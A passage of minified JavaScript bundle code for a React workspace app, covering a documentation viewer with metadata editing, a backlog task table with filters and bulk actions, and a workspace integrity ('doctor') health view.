0px`,threshold:0});for(let e of Z){let t=document.getElementById(e.id);t&&n.observe(t)}return()=>n.disconnect()},[Z,Q]);let Oe=e=>{document.getElementById(e)?.scrollIntoView({block:`start`,behavior:`smooth`}),X(e)},$=e=>{let r=b.find(t=>t.id===e);r?t(r.id):n(e)},ke=(0,E.useMemo)(()=>{let e=new Set(G?.kinds??[]);for(let t of b)t.managed&&e.add(t.documentKind);return z&&e.add(z.kind),[...e].sort()},[G,b,z]),Ae=(0,E.useMemo)(()=>{let e=new Set(G?.statuses??ve);for(let t of b)t.managed&&e.add(t.status);return z&&e.add(z.status),[...e].sort()},[G,b,z]);function je(e){W(``),B({id:e.id,title:e.title,kind:e.documentKind,status:e.status,owners:(e.owners??[]).join(`, `),reviewed:e.reviewed??``})}async function Me(){if(!z)return;let e=b.find(e=>e.id===z.id);if(!e){W(`This document no longer exists in the workspace.`);return}let t=z.owners.split(`,`).map(e=>e.trim()).filter(Boolean),n={},r=z.title.trim();if(r&&r!==e.title&&(n.title=r),z.kind!==e.documentKind&&(n.kind=z.kind),z.status!==e.status&&(n.status=z.status),t.join(` | ||
| `)!==(e.owners??[]).join(` | ||
| `)&&(n.owners=t),(z.reviewed||``)!==(e.reviewed??``)&&(n.reviewed=z.reviewed||null),!Object.keys(n).length){B(null);return}H(!0),W(``);try{let t=await p.patchDocument(e.id,n,e.revision);C(n=>n.map(n=>n.id===e.id?t.record:n)),B(null)}catch(e){let t=e;t.code?.endsWith(`WRITE_CONFLICT`)?(K(e=>e+1),W(`The document changed on disk; the list was refreshed. Save again to apply your changes to the latest revision.`)):W(t.message||String(e))}finally{H(!1)}}return(0,D.jsxs)(`div`,{className:`flex min-h-0 flex-1`,children:[(0,D.jsxs)(`aside`,{"aria-label":`Documents`,className:d(`min-h-0 w-full shrink-0 flex-col border-r px-2 py-3 lg:flex lg:w-[290px]`,Y?`hidden`:`flex`),children:[(0,D.jsx)(oe,{className:`pb-2.5`,before:(0,D.jsx)(ie,{scope:`records`,value:a,label:`Search documentation`,onChange:_}),children:(0,D.jsx)(ne,{label:`managed`,on:L,onLabel:`only`,offLabel:`all`,onChange:xe})}),(0,D.jsx)(`div`,{"aria-busy":N||void 0,className:`min-h-0 flex-1 overflow-y-auto`,children:N?(0,D.jsxs)(`span`,{className:`flex items-center gap-2 px-2 py-1.5 font-mono text-[10.5px] text-muted-foreground`,children:[(0,D.jsx)(f,{className:`size-3`}),`Loading documents…`]}):F?(0,D.jsx)(S,{variant:`destructive`,className:`mt-1.5`,children:(0,D.jsx)(x,{children:F})}):J.length?J.map(e=>(0,D.jsxs)(`div`,{className:`flex flex-col gap-px pb-3.5`,children:[(0,D.jsxs)(`span`,{className:`flex items-center gap-2 px-2 py-1.5 font-mono text-[10.5px] text-muted-foreground`,children:[(0,D.jsx)(`span`,{className:`text-foreground/80`,children:e.label}),(0,D.jsx)(`span`,{children:e.docs.length})]}),e.docs.map(e=>(0,D.jsx)(ye,{document:e,selected:Y?.id===e.id,onSelect:()=>t(e.id)},e.id))]},e.key)):(0,D.jsx)(ue,{className:`gap-2 p-4 md:p-4`,children:(0,D.jsxs)(ae,{children:[(0,D.jsx)(ee,{className:`text-sm`,children:`No documents found.`}),(0,D.jsx)(te,{className:`text-xs`,children:L?`Try another search, or include indexed files.`:`Try another search.`})]})})})]}),(0,D.jsx)(`section`,{ref:Ee,className:d(`min-w-0 flex-1 overflow-y-auto px-6 py-6.5 sm:px-8.5`,Y?`block`:`hidden lg:block`),children:(0,D.jsx)(`div`,{className:_e,children:Y?(0,D.jsxs)(D.Fragment,{children:[(0,D.jsxs)(u,{type:`button`,variant:`ghost`,size:`sm`,className:`-ml-2 mb-2 lg:hidden`,onClick:()=>t(null),children:[(0,D.jsx)(r,{"aria-hidden":`true`}),`All documents`]}),(0,D.jsxs)(`div`,{className:`flex flex-wrap items-center gap-2 font-mono text-[11px] text-muted-foreground`,children:[(0,D.jsx)(`span`,{children:Y.id}),M,(0,D.jsx)(`span`,{children:Y.documentKind}),M,(0,D.jsx)(`span`,{style:{color:l(Y.status)},children:Y.status}),M,(0,D.jsx)(`span`,{children:Y.managed?`managed`:`indexed`}),(0,D.jsx)(`span`,{className:`flex-1`}),Y.managed?(0,D.jsxs)(D.Fragment,{children:[(0,D.jsxs)(u,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>Se(e=>!e),children:[R?(0,D.jsx)(o,{"aria-hidden":`true`}):(0,D.jsx)(s,{"aria-hidden":`true`}),R?`Preview`:`Edit`]}),(0,D.jsxs)(u,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>je(Y),children:[(0,D.jsx)(c,{"aria-hidden":`true`}),`Metadata`]})]}):null]}),(0,D.jsx)(`h2`,{className:`mt-3 mb-1.5 text-2xl font-semibold tracking-tight`,children:Y.title}),(0,D.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground [overflow-wrap:anywhere]`,children:Y.path}),(0,D.jsxs)(`div`,{className:`mt-4.5 flex flex-wrap gap-2`,children:[(0,D.jsx)(A,{label:`kind`,value:Y.documentKind}),(0,D.jsx)(A,{label:`status`,value:Y.status}),(0,D.jsx)(A,{label:`reviewed`,value:Y.reviewed||`—`}),(0,D.jsx)(A,{label:`owners`,value:Y.owners?.join(`, `)||`—`}),(0,D.jsx)(A,{label:`backlinks`,value:String(Y.incomingTotal??Y.incoming.length)}),Y.updated?(0,D.jsx)(A,{label:`updated`,value:Y.updated}):null]}),Y.freshness.length>0?(0,D.jsxs)(S,{role:`status`,className:`mt-4.5 max-w-2xl`,children:[(0,D.jsx)(i,{"aria-hidden":`true`,className:`text-sev-warning`}),(0,D.jsx)(x,{children:Y.freshness.map(e=>(0,D.jsx)(`span`,{children:e.message},`${e.code}-${e.message}`))})]}):null,(0,D.jsx)(`div`,{className:`mt-6.5`,children:R&&Y.managed?(0,D.jsx)(le,{value:Y.body,revision:Y.revision,onSave:async(e,t)=>{let n=await p.patchDocument(Y.id,{body:e},t);C(e=>e.map(e=>e.id===Y.id?n.record:e))}},Y.id):Y.body.trim()?(0,D.jsx)(g,{source:Y.body,headingPrefix:O,onOpen:$}):(0,D.jsx)(`p`,{className:`text-xs text-muted-foreground`,children:Y.managed?`This document is empty. Use Edit to write its first version.`:`This file has no body to render.`})}),Y.outgoing.length||Y.incoming.length||Y.scope?.length?(0,D.jsxs)(`div`,{className:`mt-7 flex max-w-[70ch] flex-col gap-4.5`,children:[(0,D.jsx)(j,{label:`links to`,links:Y.outgoing,onOpen:$}),(0,D.jsx)(j,{label:(Y.incomingTotal??Y.incoming.length)>Y.incoming.length?`backlinks (${Y.incoming.length} of ${Y.incomingTotal})`:`backlinks`,links:Y.incoming,onOpen:$}),Y.scope?.length?(0,D.jsxs)(`section`,{className:`flex flex-col gap-1.5`,children:[(0,D.jsx)(`span`,{className:k,children:`scope`}),Y.scope.map(e=>(0,D.jsx)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground [overflow-wrap:anywhere]`,children:e},e))]}):null]}):null]}):(0,D.jsx)(`div`,{className:`flex h-full items-center justify-center text-xs text-muted-foreground`,children:N?`Loading documents…`:`Select a document from the list to read it.`})})}),Q?(0,D.jsx)(be,{entries:Z,activeId:De,onJump:Oe}):null,(0,D.jsx)(de,{open:z!==null,onOpenChange:e=>{!e&&!V&&B(null)},children:(0,D.jsxs)(me,{"aria-describedby":void 0,children:[(0,D.jsx)(pe,{children:(0,D.jsx)(he,{children:`Edit metadata${z?` — ${z.id}`:``}`})}),z?(0,D.jsxs)(ge,{className:`gap-4`,children:[(0,D.jsxs)(h,{children:[(0,D.jsx)(T,{htmlFor:`docs-meta-title`,children:`title`}),(0,D.jsx)(m,{id:`docs-meta-title`,value:z.title,onChange:e=>B({...z,title:e.target.value})})]}),(0,D.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,D.jsxs)(h,{className:`[&_[data-slot=native-select-wrapper]]:w-full`,children:[(0,D.jsx)(T,{htmlFor:`docs-meta-kind`,children:`kind`}),(0,D.jsx)(y,{id:`docs-meta-kind`,value:z.kind,onChange:e=>B({...z,kind:e.target.value}),children:ke.map(e=>(0,D.jsx)(v,{value:e,children:e},e))})]}),(0,D.jsxs)(h,{className:`[&_[data-slot=native-select-wrapper]]:w-full`,children:[(0,D.jsx)(T,{htmlFor:`docs-meta-status`,children:`status`}),(0,D.jsx)(y,{id:`docs-meta-status`,value:z.status,onChange:e=>B({...z,status:e.target.value}),children:Ae.map(e=>(0,D.jsx)(v,{value:e,children:e},e))})]})]}),(0,D.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,D.jsxs)(h,{children:[(0,D.jsx)(T,{htmlFor:`docs-meta-owners`,children:`owners`}),(0,D.jsx)(m,{id:`docs-meta-owners`,value:z.owners,placeholder:`comma-separated`,onChange:e=>B({...z,owners:e.target.value})})]}),(0,D.jsxs)(h,{children:[(0,D.jsx)(T,{htmlFor:`docs-meta-reviewed`,children:`reviewed`}),(0,D.jsx)(m,{id:`docs-meta-reviewed`,type:`date`,value:z.reviewed,onChange:e=>B({...z,reviewed:e.target.value})})]})]}),U?(0,D.jsx)(S,{variant:`destructive`,children:(0,D.jsx)(x,{children:U})}):null]}):null,(0,D.jsxs)(fe,{children:[(0,D.jsx)(u,{type:`button`,variant:`outline`,disabled:V,onClick:()=>B(null),children:`Cancel`}),(0,D.jsx)(u,{type:`button`,disabled:V,onClick:()=>void Me(),children:V?`Saving…`:`Save`})]})]})})]})}export{N as DocPanel,P as DocsView}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{At as r,Ct as i,D as a,E as o,Ft as s,Pt as ee,q as te}from"./ui-primitives-C8uJIJg4.js";import{n as c,o as l,s as u,u as d}from"./theme-pTuib_xY.js";import{A as ne,D as f,J as re,K as ie,O as ae,T as oe,X as se,Y as ce,a as p,g as m,h,i as le,j as ue,o as g,q as de,s as fe}from"./index-Db_ww4LG.js";import{t as _}from"./progress-BZw6czvL.js";var v=e(t(),1),y=n();function b({className:e,...t}){return(0,y.jsx)(o,{"data-slot":`checkbox`,className:d(`peer size-4 shrink-0 rounded-[4px] border border-input shadow-xs transition-shadow outline-none focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-destructive/20 data-[state=checked]:border-primary data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground dark:bg-input/30 dark:aria-invalid:ring-destructive/40 dark:data-[state=checked]:bg-primary`,e),...t,children:(0,y.jsx)(a,{"data-slot":`checkbox-indicator`,className:`grid place-content-center text-current transition-none`,children:(0,y.jsx)(r,{className:`size-3.5`})})})}function pe({className:e,...t}){return(0,y.jsx)(`div`,{"data-slot":`table-container`,className:`relative w-full overflow-x-auto`,children:(0,y.jsx)(`table`,{"data-slot":`table`,className:d(`w-full caption-bottom text-sm`,e),...t})})}function me({className:e,...t}){return(0,y.jsx)(`thead`,{"data-slot":`table-header`,className:d(`[&_tr]:border-b`,e),...t})}function he({className:e,...t}){return(0,y.jsx)(`tbody`,{"data-slot":`table-body`,className:d(`[&_tr:last-child]:border-0`,e),...t})}function x({className:e,...t}){return(0,y.jsx)(`tr`,{"data-slot":`table-row`,className:d(`border-b transition-colors hover:bg-muted/50 has-aria-expanded:bg-muted/50 data-[state=selected]:bg-muted`,e),...t})}function S({className:e,...t}){return(0,y.jsx)(`th`,{"data-slot":`table-head`,className:d(`h-10 px-2 text-left align-middle font-medium whitespace-nowrap text-foreground [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]`,e),...t})}function C({className:e,...t}){return(0,y.jsx)(`td`,{"data-slot":`table-cell`,className:d(`p-2 align-middle whitespace-nowrap [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]`,e),...t})}var w=[[`id`,`id`],[`title`,`title · claim`],[`status`,`status`],[`priority`,`prio`],[`type`,`type`],[`area`,`area`],[`epic`,`links`],[`updated`,`updated`]],T=new Map(p.map((e,t)=>[e,t])),E=new Map(g.map((e,t)=>[e,t])),D=w.length+1;function O(e,t){let n=new Map;for(let r of e){let e=r[t];typeof e==`string`&&n.set(e,(n.get(e)||0)+1)}return n}function k({title:e,values:t,counts:n,selected:r,color:i,onSelect:a}){let o=t.filter(e=>n.has(e));if(!o.length)return null;let s=Math.max(...o.map(e=>n.get(e)||0));return(0,y.jsxs)(`div`,{className:`flex flex-col gap-1`,children:[(0,y.jsx)(`span`,{className:`px-1.5 font-mono text-[10px] tracking-widest uppercase text-muted-foreground`,children:e}),o.map(e=>{let t=n.get(e)||0,o=r===e;return(0,y.jsxs)(`button`,{type:`button`,"aria-pressed":o,onClick:()=>a(o?``:e),className:d(`flex w-full cursor-pointer flex-col gap-1 rounded-md px-1.5 py-1 text-left transition-colors hover:bg-accent/50`,o&&`bg-accent`),children:[(0,y.jsxs)(`span`,{className:`flex w-full items-center gap-1.5`,children:[(0,y.jsx)(`span`,{className:d(`min-w-0 flex-1 truncate text-xs`,o?`font-medium text-foreground`:`text-muted-foreground`),children:e}),(0,y.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:t})]}),(0,y.jsx)(_,{value:s?Math.round(t/s*100):0,className:d(`h-[5px] bg-muted [&>div]:bg-current`,!i&&`text-primary`),style:i?{color:i(e)}:void 0})]},e)})]})}function A({label:e,value:t,options:n,color:r,withDot:i,onChange:a}){return(0,y.jsxs)(`span`,{className:`inline-flex items-center gap-1.5`,style:{color:r},children:[i?(0,y.jsx)(`span`,{className:`size-1.5 shrink-0 rounded-full bg-current`,"aria-hidden":`true`}):null,(0,y.jsx)(h,{"aria-label":e,value:t,onChange:e=>a(e.target.value),className:`h-[22px] cursor-pointer border-transparent bg-transparent px-1 py-0 pr-8 font-mono text-[11px] text-inherit shadow-none dark:bg-transparent dark:hover:bg-transparent`,children:n.map(e=>(0,y.jsx)(m,{value:e,children:e},e))})]})}var ge=(0,v.memo)(function({task:e,epicId:t,checked:n,isOpen:r,onToggle:i,onOpen:a,onPatch:o}){let s=(e.depends?.length??0)+ +!!e.parent;return(0,y.jsxs)(x,{className:`h-[var(--row-h)] cursor-pointer`,"data-state":r?`selected`:void 0,tabIndex:0,onClick:()=>a(e.id),onKeyDown:t=>{t.key===`Enter`&&a(e.id)},children:[(0,y.jsx)(C,{className:d(`w-7 border-l-2 border-l-transparent`,r&&`border-l-primary`),onClick:e=>e.stopPropagation(),children:(0,y.jsx)(b,{"aria-label":`Select ${e.id}`,checked:n,onCheckedChange:()=>i(e.id)})}),(0,y.jsx)(C,{className:`font-mono text-xs text-muted-foreground`,children:e.id}),(0,y.jsx)(C,{className:`max-w-[520px]`,children:(0,y.jsxs)(`span`,{className:`flex min-w-0 items-baseline gap-2`,children:[(0,y.jsx)(`span`,{className:`min-w-0 truncate font-medium`,children:e.title}),e.claimed_by?(0,y.jsxs)(`span`,{className:`font-mono text-[10px] whitespace-nowrap text-muted-foreground/60`,children:[`· `,e.claimed_by]}):null]})}),(0,y.jsx)(C,{onClick:e=>e.stopPropagation(),children:(0,y.jsx)(A,{label:`Status for ${e.id}`,value:e.status,options:g,color:l(e.status),withDot:!0,onChange:t=>void o(e.id,{status:t}).catch(()=>void 0)})}),(0,y.jsx)(C,{onClick:e=>e.stopPropagation(),children:(0,y.jsx)(A,{label:`Priority for ${e.id}`,value:e.priority,options:p,color:c(e.priority),onChange:t=>void o(e.id,{priority:t}).catch(()=>void 0)})}),(0,y.jsx)(C,{className:`font-mono text-[11px] text-muted-foreground`,children:e.type}),(0,y.jsx)(C,{className:`font-mono text-[11px] text-muted-foreground`,children:e.area}),(0,y.jsxs)(C,{className:`font-mono text-[11px] text-muted-foreground/60`,children:[t?(0,y.jsx)(`button`,{type:`button`,onClick:e=>{e.stopPropagation(),a(t)},className:d(`cursor-pointer text-primary hover:underline`,s>0&&`mr-1.5`),children:t}):null,s>0?`${s} ↔`:t?null:`—`]}),(0,y.jsx)(C,{className:`font-mono text-[11px] text-muted-foreground/60`,children:e.updated||`—`})]})});function j({tasks:e,allTasks:t,areas:n,filters:r,setFilters:a,epicIds:o,onOpen:d,onPatch:_,onBulkPatch:C}){let[A,j]=(0,v.useState)(()=>new Set),[_e,ve]=(0,v.useState)(null),[M,ye]=(0,v.useState)(`id`),[N,P]=(0,v.useState)(`desc`),[F,I]=(0,v.useState)(``),[L,R]=(0,v.useState)(``),[z,B]=(0,v.useState)(``),V=(0,v.useRef)(null),[H,be]=(0,v.useState)({start:0,end:40}),[U,xe]=(0,v.useState)(40),W=(0,v.useDeferredValue)(r),G=(0,v.useMemo)(()=>{let e=e=>le(t,{...W,...e});return{status:O(e({status:``}),`status`),type:O(e({type:``,showIdeas:!0}),`type`),priority:O(e({priority:``}),`priority`),area:O(e({area:``}),`area`)}},[t,W]),K=(0,v.useMemo)(()=>{let t=[...e];return t.sort((e,t)=>{let n=0;return n=M===`priority`?(T.get(e.priority)||0)-(T.get(t.priority)||0):M===`status`?(E.get(e.status)||0)-(E.get(t.status)||0):M===`epic`?(o.get(e.id)||``).localeCompare(o.get(t.id)||``):String(e[M]||``).localeCompare(String(t[M]||``),void 0,{numeric:!0}),N===`asc`?n:-n}),t},[o,N,M,e]),q=(0,v.useRef)(0),Se=K.length>0,J=(0,v.useCallback)(()=>{let e=V.current;if(!e)return;let t=parseFloat(getComputedStyle(document.documentElement).getPropertyValue(`--row-h`))||40;xe(t);let n=Math.max(0,Math.floor(e.scrollTop/t)-10),r=Math.ceil(e.clientHeight/t);be({start:n,end:Math.min(q.current,n+r+20)})},[]);(0,v.useEffect)(()=>{let e=V.current;if(!e)return;e.addEventListener(`scroll`,J,{passive:!0}),window.addEventListener(`resize`,J);let t=new MutationObserver(J);return t.observe(document.documentElement,{attributes:!0,attributeFilter:[`data-density`]}),()=>{e.removeEventListener(`scroll`,J),window.removeEventListener(`resize`,J),t.disconnect()}},[J,Se]),(0,v.useEffect)(()=>{q.current=K.length,J()},[J,K.length]);let Ce=[r.search,r.status,r.area,r.type,r.priority,r.milestone,r.showIdeas,r.showClosed,M,N].join(`|`);(0,v.useEffect)(()=>{V.current&&(V.current.scrollTop=0),J()},[Ce,J]);let we=(0,v.useCallback)(e=>{j(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),n})},[]),Te=(0,v.useCallback)(e=>{ve(e),d(e)},[d]),Y=(0,v.useMemo)(()=>K.map(e=>e.id),[K]),X=Y.length>0&&Y.every(e=>A.has(e)),Ee=Y.some(e=>A.has(e)),De=K.slice(H.start,H.end),Z=!!(F||L||z);function Oe(e){M===e?P(e=>e===`asc`?`desc`:`asc`):(ye(e),P(e===`id`?`desc`:`asc`))}async function ke(){let e={};if(F&&(e.status=F),L&&(e.priority=L),z&&(e.area=z),!(!Z||A.size===0))try{await C([...A],e),j(new Set),I(``),R(``),B(``)}catch{}}let Q=(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(k,{title:`status`,values:g,counts:G.status,selected:r.status,color:l,onSelect:e=>a(t=>({...t,status:e}))}),(0,y.jsx)(k,{title:`priority`,values:p,counts:G.priority,selected:r.priority,color:c,onSelect:e=>a(t=>({...t,priority:e}))}),(0,y.jsx)(k,{title:`area`,values:n,counts:G.area,selected:r.area,onSelect:e=>a(t=>({...t,area:e}))}),(0,y.jsx)(k,{title:`type`,values:fe,counts:G.type,selected:r.type,onSelect:e=>a(t=>({...t,type:e}))})]}),$=[r.status,r.priority,r.area,r.type].filter(Boolean).length;return(0,y.jsxs)(`div`,{className:`flex min-h-0 flex-1`,children:[(0,y.jsx)(`aside`,{"aria-label":`Backlog facets`,className:`hidden w-[204px] flex-none flex-col gap-5 overflow-y-auto border-r px-3.5 py-4 lg:flex`,children:Q}),(0,y.jsxs)(`div`,{className:`flex min-h-0 min-w-0 flex-1 flex-col`,children:[(0,y.jsxs)(`div`,{className:`flex flex-none items-center gap-2 px-3.5 pt-2.5 lg:hidden`,children:[(0,y.jsxs)(ie,{children:[(0,y.jsx)(se,{asChild:!0,children:(0,y.jsxs)(u,{variant:`outline`,size:`sm`,children:[(0,y.jsx)(te,{className:`size-3.5`}),`Facets`,$?(0,y.jsx)(`span`,{className:`font-mono text-[10px] text-muted-foreground`,children:$}):null]})}),(0,y.jsxs)(de,{side:`left`,className:`w-[280px] gap-0 sm:max-w-[280px]`,children:[(0,y.jsx)(re,{className:`pb-2`,children:(0,y.jsx)(ce,{className:`font-mono text-[11px] tracking-wide uppercase`,children:`Facets`})}),(0,y.jsx)(`div`,{className:`flex flex-col gap-5 overflow-y-auto px-4 pb-4`,children:Q})]})]}),(0,y.jsxs)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground/70`,children:[K.length.toLocaleString(),` row`,K.length===1?``:`s`,` · scroll sideways for every column`]})]}),A.size>0&&(0,y.jsxs)(`div`,{role:`region`,"aria-label":`Bulk actions`,className:`mx-3.5 mt-2.5 mb-2.5 flex flex-none flex-wrap items-center gap-2 rounded-md border bg-muted/50 px-3 py-2`,children:[(0,y.jsxs)(`span`,{className:`font-mono text-[11px]`,children:[A.size,` selected`]}),(0,y.jsxs)(h,{"aria-label":`Set status`,value:F,onChange:e=>I(e.target.value),size:`sm`,children:[(0,y.jsx)(m,{value:``,children:`status…`}),g.map(e=>(0,y.jsx)(m,{value:e,children:e},e))]}),(0,y.jsxs)(h,{"aria-label":`Set priority`,value:L,onChange:e=>R(e.target.value),size:`sm`,children:[(0,y.jsx)(m,{value:``,children:`priority…`}),p.map(e=>(0,y.jsx)(m,{value:e,children:e},e))]}),(0,y.jsxs)(h,{"aria-label":`Set area`,value:z,onChange:e=>B(e.target.value),size:`sm`,children:[(0,y.jsx)(m,{value:``,children:`area…`}),n.map(e=>(0,y.jsx)(m,{value:e,children:e},e))]}),(0,y.jsxs)(ue,{children:[(0,y.jsx)(u,{size:`sm`,disabled:!Z,onClick:()=>void ke(),children:`Apply`}),(0,y.jsx)(u,{size:`sm`,variant:`outline`,onClick:()=>j(new Set),children:`Clear`})]})]}),K.length===0?(0,y.jsx)(oe,{children:(0,y.jsxs)(ae,{children:[(0,y.jsx)(ne,{children:`No cards match`}),(0,y.jsx)(f,{children:`Adjust filters or clear the search`})]})}):(0,y.jsx)(`div`,{ref:V,className:`min-w-0 flex-1 overflow-auto [&>[data-slot=table-container]]:overflow-visible`,children:(0,y.jsxs)(pe,{className:`text-[13px]`,children:[(0,y.jsx)(me,{children:(0,y.jsxs)(x,{className:`hover:bg-transparent`,children:[(0,y.jsx)(S,{className:`sticky top-0 z-10 w-7 bg-background`,children:(0,y.jsx)(b,{"aria-label":`Select all matching cards`,checked:X?!0:Ee?`indeterminate`:!1,onCheckedChange:()=>j(e=>{let t=new Set(e);return X?Y.forEach(e=>t.delete(e)):Y.forEach(e=>t.add(e)),t})})}),w.map(([e,t])=>(0,y.jsx)(S,{"aria-sort":M===e?N===`asc`?`ascending`:`descending`:`none`,className:`sticky top-0 z-10 bg-background`,children:(0,y.jsxs)(u,{variant:`ghost`,size:`sm`,onClick:()=>Oe(e),className:`-ml-2 px-2 text-muted-foreground`,children:[t,M===e?N===`asc`?(0,y.jsx)(ee,{className:`size-3`}):(0,y.jsx)(s,{className:`size-3`}):(0,y.jsx)(i,{className:`size-3 opacity-50`})]})},e))]})}),(0,y.jsxs)(he,{children:[H.start>0&&(0,y.jsx)(`tr`,{"aria-hidden":`true`,children:(0,y.jsx)(`td`,{colSpan:D,style:{height:H.start*U}})}),De.map(e=>(0,y.jsx)(ge,{task:e,epicId:o.get(e.id)||``,checked:A.has(e.id),isOpen:_e===e.id,onToggle:we,onOpen:Te,onPatch:_},e.id)),H.end<K.length&&(0,y.jsx)(`tr`,{"aria-hidden":`true`,children:(0,y.jsx)(`td`,{colSpan:D,style:{height:(K.length-H.end)*U}})})]})]})})]})]})}export{j as Explorer}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{St as r}from"./ui-primitives-C8uJIJg4.js";import{i,o as a,s as o}from"./theme-pTuib_xY.js";import{A as s,B as c,C as l,D as u,G as d,O as f,R as p,T as m,et as h,k as g,nt as _,tt as v,z as y}from"./index-Db_ww4LG.js";var b=e(t(),1),x=n(),S=[{level:`error`,label:`errors`,hint:`must be fixed for a consistent workspace`,zeroHint:`the doctor does not block the release`},{level:`warning`,label:`warnings`,hint:`worth a look, nothing is broken yet`,zeroHint:`nothing worth flagging`},{level:`info`,label:`infos`,hint:`informational, no action required`,zeroHint:`no notices from the doctor`}];function C(e){return e.replace(/[-_.]+/g,` `)}var w={error:0,warning:1,info:2};function T({onOpen:e}){let[t,n]=(0,b.useState)(null),[T,E]=(0,b.useState)(``),[D,O]=(0,b.useState)(``),[k,A]=(0,b.useState)(0);p(()=>A(e=>e+1)),(0,b.useEffect)(()=>{let e=!0;return d.health().then(t=>{e&&n(t)}).catch(t=>{e&&E(t instanceof Error?t.message:String(t))}),()=>{e=!1}},[k]);let j=(0,b.useMemo)(()=>{if(!t)return[];let e=D?t.issues.filter(e=>e.severity===D):t.issues,n=new Map;for(let t of e){let e=n.get(t.code);e?e.push(t):n.set(t.code,[t])}return[...n.entries()].sort(([e,[t]],[n,[r]])=>{let i=w[t.severity]-w[r.severity];return i===0?e.localeCompare(n):i})},[t,D]);if(T)return(0,x.jsx)(`div`,{className:`p-3.5`,children:(0,x.jsx)(v,{variant:`destructive`,children:(0,x.jsx)(_,{children:T})})});if(!t)return(0,x.jsxs)(`div`,{className:`flex items-center gap-2 p-3.5`,"aria-busy":`true`,children:[(0,x.jsx)(l,{className:`size-3 text-muted-foreground`}),(0,x.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:`running workfile doctor…`})]});let M=[[`cards`,t.modules?.cards??t.cards],[`docs`,t.modules?.docs],[`memory`,t.modules?.memory],[`changelog`,t.modules?.changelog]].filter(([,e])=>e!=null).map(([e,t])=>`${t.toLocaleString()} ${e}`).join(`, `),N=new Intl.DateTimeFormat(void 0,{dateStyle:`medium`,timeStyle:`short`}).format(new Date(t.generatedAt));return(0,x.jsxs)(`div`,{className:`flex-1 overflow-y-auto p-3.5`,children:[(0,x.jsx)(`div`,{className:`mb-2.5 flex gap-1.5`,children:S.map(({level:e,label:n})=>(0,x.jsxs)(o,{type:`button`,variant:`outline`,size:`sm`,"aria-pressed":D===e,className:`aria-pressed:border-ring aria-pressed:bg-accent`,onClick:()=>O(t=>t===e?``:e),children:[n,(0,x.jsx)(h,{variant:`secondary`,className:`px-1.5 font-mono text-[10.5px]`,children:t.counts[e]})]},e))}),(0,x.jsx)(`div`,{className:`flex flex-wrap gap-2.5`,children:S.map(({level:e,label:n,hint:r,zeroHint:o})=>{let s=t.counts[e],l=e===`error`&&s===0?a(`done`):i(e);return(0,x.jsxs)(c,{className:`relative min-w-[13rem] flex-1 gap-1 py-3 pl-5 pr-3.5`,children:[(0,x.jsx)(y,{edge:`left`,color:l}),(0,x.jsxs)(`span`,{className:`flex items-baseline gap-2`,children:[(0,x.jsx)(`span`,{className:`text-[26px] font-semibold tracking-tight`,style:{color:l},children:s}),(0,x.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:n})]}),(0,x.jsx)(`span`,{className:`text-xs text-muted-foreground`,children:s===0?o:r})]},e)})}),(0,x.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2.5 gap-y-1 px-0.5 pt-4 pb-2`,children:[(0,x.jsxs)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:[`grouped by code · `,M,` · checked `,N]}),(0,x.jsx)(`span`,{className:`ml-auto font-mono text-[10.5px] text-muted-foreground/70`,children:`workfile doctor --json`})]}),j.length===0?(0,x.jsx)(m,{className:`gap-2 p-10`,children:(0,x.jsxs)(f,{children:[(0,x.jsx)(g,{children:(0,x.jsx)(r,{"aria-hidden":`true`,size:20,style:{color:a(`done`)}})}),(0,x.jsx)(s,{className:`text-sm`,children:`All clear`}),(0,x.jsxs)(u,{className:`text-[12.5px]`,children:[`No `,D||`integrity`,` issues found.`]})]})}):(0,x.jsx)(`div`,{className:`flex flex-col gap-2`,children:j.map(([t,n])=>(0,x.jsxs)(c,{className:`gap-0 overflow-hidden py-0`,children:[(0,x.jsxs)(`div`,{className:`flex items-center gap-2 border-b px-3 py-1.5`,children:[(0,x.jsx)(`span`,{"aria-hidden":`true`,className:`size-[7px] rounded-full bg-current`,style:{color:i(n[0].severity)}}),(0,x.jsx)(`span`,{className:`font-mono text-[11.5px]`,children:t}),(0,x.jsx)(`span`,{className:`flex-1 text-[12.5px] text-muted-foreground`,children:C(t)}),(0,x.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground/70`,children:n.length})]}),n.map((t,n)=>(0,x.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2.5 gap-y-1 border-b px-3 py-[7px] last:border-0`,children:[t.id?(0,x.jsx)(o,{type:`button`,variant:`link`,className:`h-auto w-[82px] flex-[0_0_82px] justify-start p-0 font-mono text-[11px] font-normal`,onClick:()=>e(t.id),children:t.id}):(0,x.jsx)(`span`,{className:`w-[82px] flex-[0_0_82px] font-mono text-[11px] text-muted-foreground/70`,children:`—`}),(0,x.jsx)(`span`,{className:`min-w-[12rem] flex-1 text-[12.5px] text-muted-foreground`,children:t.message}),t.file?(0,x.jsx)(`span`,{className:`max-w-full truncate font-mono text-[10.5px] text-muted-foreground/70 sm:max-w-80`,title:t.file,children:t.file}):null]},`${t.id||t.file}-${n}`))]},t))})]})}export{T as HealthView}; |
